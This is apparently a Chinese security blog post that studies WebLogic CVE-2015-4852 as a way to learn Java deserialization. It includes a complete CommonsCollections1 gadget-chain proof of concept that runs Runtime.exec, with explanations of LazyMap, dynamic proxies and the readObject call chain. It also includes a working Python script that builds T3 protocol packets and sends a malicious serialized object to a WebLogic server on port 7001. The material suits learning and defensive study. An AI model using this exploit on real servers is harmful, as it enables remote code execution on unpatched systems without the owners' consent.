通过weblogic历史漏洞cve-2015-4852学习java反序列化漏洞
通过weblogic历史漏洞cve-2015-4852学习java反序列化漏洞
原创 Juvline 极星信安 2024-06-12 15:32
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,禁止私自转载,如需转载,请联系作者!!!!
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关!!!!!
通过搜索
welogic的历史漏洞CVE
-2015-4852
,来学习一下
java
的反序列化漏洞
。
CVE-2015-4852环境搭建及复现
*** 概述**
在10.3.6.0, 12.1.2.0, 12.1.3.0和12.2.1.0版本的WebLogic Server上都可以被利用,使用T3协议和TCP协议公用的7001
端口进行RCE
*** 调用栈**
java
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:157, LazyMap (org.apache.commons.collections.map)
invoke:51, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy57 (com.sun.proxy)
readObject:328, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:969, ObjectStreamClass (java.io)
readSerialData:1871, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
分析
我们有几个特定的条件需要:
第一个需要构造好的payload,就是需要执行的代码
第二步我们需要构造反序列化链条
第三步我们需要使用T3协议进行发送,来进行触发readobjict
反序列化链条
这里使用的是cc1
poc代码
```java
package ysoserial.payloads;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.jsoup.select.Evaluator;
import org.python.antlr.op.In;
import javax.swing.*;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
//Transformer
//Method f = Runtime.class.getMethod("getRuntime");
//Runtime r = (Runtime) f.invoke(null);
//r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
//不能调用runtime的序列化,原因是没有继承searlize类,使用下面的方法来进行反射的使用
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
// innerMap.put("value", "xxxx");
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
// 使用反射将AnnotationInvocationHandler来进行示例化,并传入我们的构造的map
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, outerMap);
//对AnnotationInvocationHandler来进行proxy
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
//代理之后的对象叫做proxymap,我们不能直接序列化,因为我们的入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以使用AnnotationInvocationHandler对这个proxymap进行包裹
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
LazyMap
LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承 AbstractMapDecorator。
LazyMap
的漏洞触发点和TransformedMap
唯一的差别是,TransformedMap
是在写入元素的时候执行transform
,而LazyMap
是在其get
方法中执行的 factory.transform
。
java
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
sun.reflect.annotation.AnnotationInvocationHandler
的readObject
方法中并没有直接调用到 Map
的get
方法,
所以我们找到了另一条路,使用AnnotationInvocationHandler
的invoke
方法,也就是对象代理。
java
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
//这里调用了value方法
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
对象代理
对象代理(参考:
https://www.cnblogs.com/caoweixiong/p/13141220.html
)
我们可以粗浅的认为,对象代理就是一个复合函数,类似
g(f(x)),来进行劫持一个对象内部的方法调用,我们需要用到一个类是
java.reflect.Proxy:
java
public static Object newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)
newProxyInstance需要三个参数:
第一个是classloader,我们通常都使用默认的
第二个参数是我们需要代理的接口的集合
第三个参数是一个实现了InvocationHandler的对象,里面包含了具体代理的逻辑
使用LazyMap构造利用链
我们先构造一个transformer
时候的ChainedTransformer
对象
java
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class },
new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {"calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
我们使用LazyMap
来进行替换TransformedMap
java
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
接着,需要对sun.reflect.annotation.AnnotationInvocationHandler
对象进行Proxy
java
// 使用反射将AnnotationInvocationHandler来进行示例化,并传入我们的构造的map
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, outerMap);
//对AnnotationInvocationHandler来进行proxy
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
但是我们不能直接对
prxymap直接进行序列化,因为我们的入口点是
readobject函数,我们还需要再次对
proxymap进行包裹
java
handler = (InvocationHandler) construct.newInstance(Retention.class,proxyMap);
构造链
java
AnnotationInvocationHandler的readobject函数
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
//此处是调用点
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
bash
->AnnotationInvocationHandler.readObject()
->mapProxy.entrySet().iterator() //动态代理类
->AnnotationInvocationHandler.invoke()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->…………
思考
环境问题搭配,因为我用的是8u111
,AnnotationInvocationHandler
的readobject
类
java
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Map.Entry var9 = (Map.Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}
并没有出现
Iterator var4 = this.memberValues.entrySet().iterator();的类似的调用
map函数的语句,但是再
debug的时候依然会弹出计算器,原因是在
debug的时候下面会使用一些经过
proxy的
map对象的函数,类似
tostring,所以会造成
invoke的调用来弹出计算器
T3协议脚本学习
根据poc脚本来简单学习一下如何构造
T3协议
python
import socket
import struct
def exp(host, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, int(port))
data = ""
try:
sock.connect(server_address)
headers = 't3 12.2.1\nAS:255\nHL:19\n\n'.format(port)
sock.sendall(headers)
data = sock.recv(2)
f = open('./tmp', 'rb')
payload_obj = f.read()
f.close()
payload1 = "000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000".decode('hex')
payload3 = "aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078".decode('hex')
payload2 = payload_obj
payload = payload1 + payload2 + payload3
payload = struct.pack('>I', len(payload)) + payload[4:]
sock.send(payload)
data = sock.recv(4096)
except socket.error as e:
print (u'socket 连接异常!')
finally:
sock.close()
exp('172.16.2.129', 7001)
使用命令
bash
sudo tcpdump -i any port 7001 -w t3.pcap
将反序列化过程中的流量包截取下来
追踪tcp
流,首先看发送的head
得到了回复是weblogic的版本
使用tcp contains ac:ed:00:05
进行过滤,追踪tcp
流,然后转为c
数组
网上了解到总共存在两种方式来构造
java序列化数据,第一种是将
weblogic发送的
java序列化数据的第二到第七部分的
java序列化数据替换为恶意的序列化数据
第二种为
weblogic发送的
java序列化数据的第一部分与恶意的序列化数据进行拼接
脚本中的payload为第一个部分,前四个字节
(0x5ba)为数据包的长度,
payload3为其它的
java反序列化数据,然后在中间插上我们的恶意数据
总结
以前接触的
java漏洞也比较少,这次学习花了很久的时间,主要是反序列化链条实在太令人头痛了,还有就是以前也从来没有使用过
wireshark来分析过协议,这一次主要简单学习一下脚本到底构造了什么内容,这些都是最基础的内容,后面会进行继续跟进学习,看这些代码是怎么进行不断修复,又是怎么有人会进行不断的绕过。
关注我们
公众号回复“2024Hw应急工具”获取Hw应急工具集
公众号回复“简历模版”获取
Hw简历模版
**公众号回复“2024面经大全”获取全套面经以及回答思路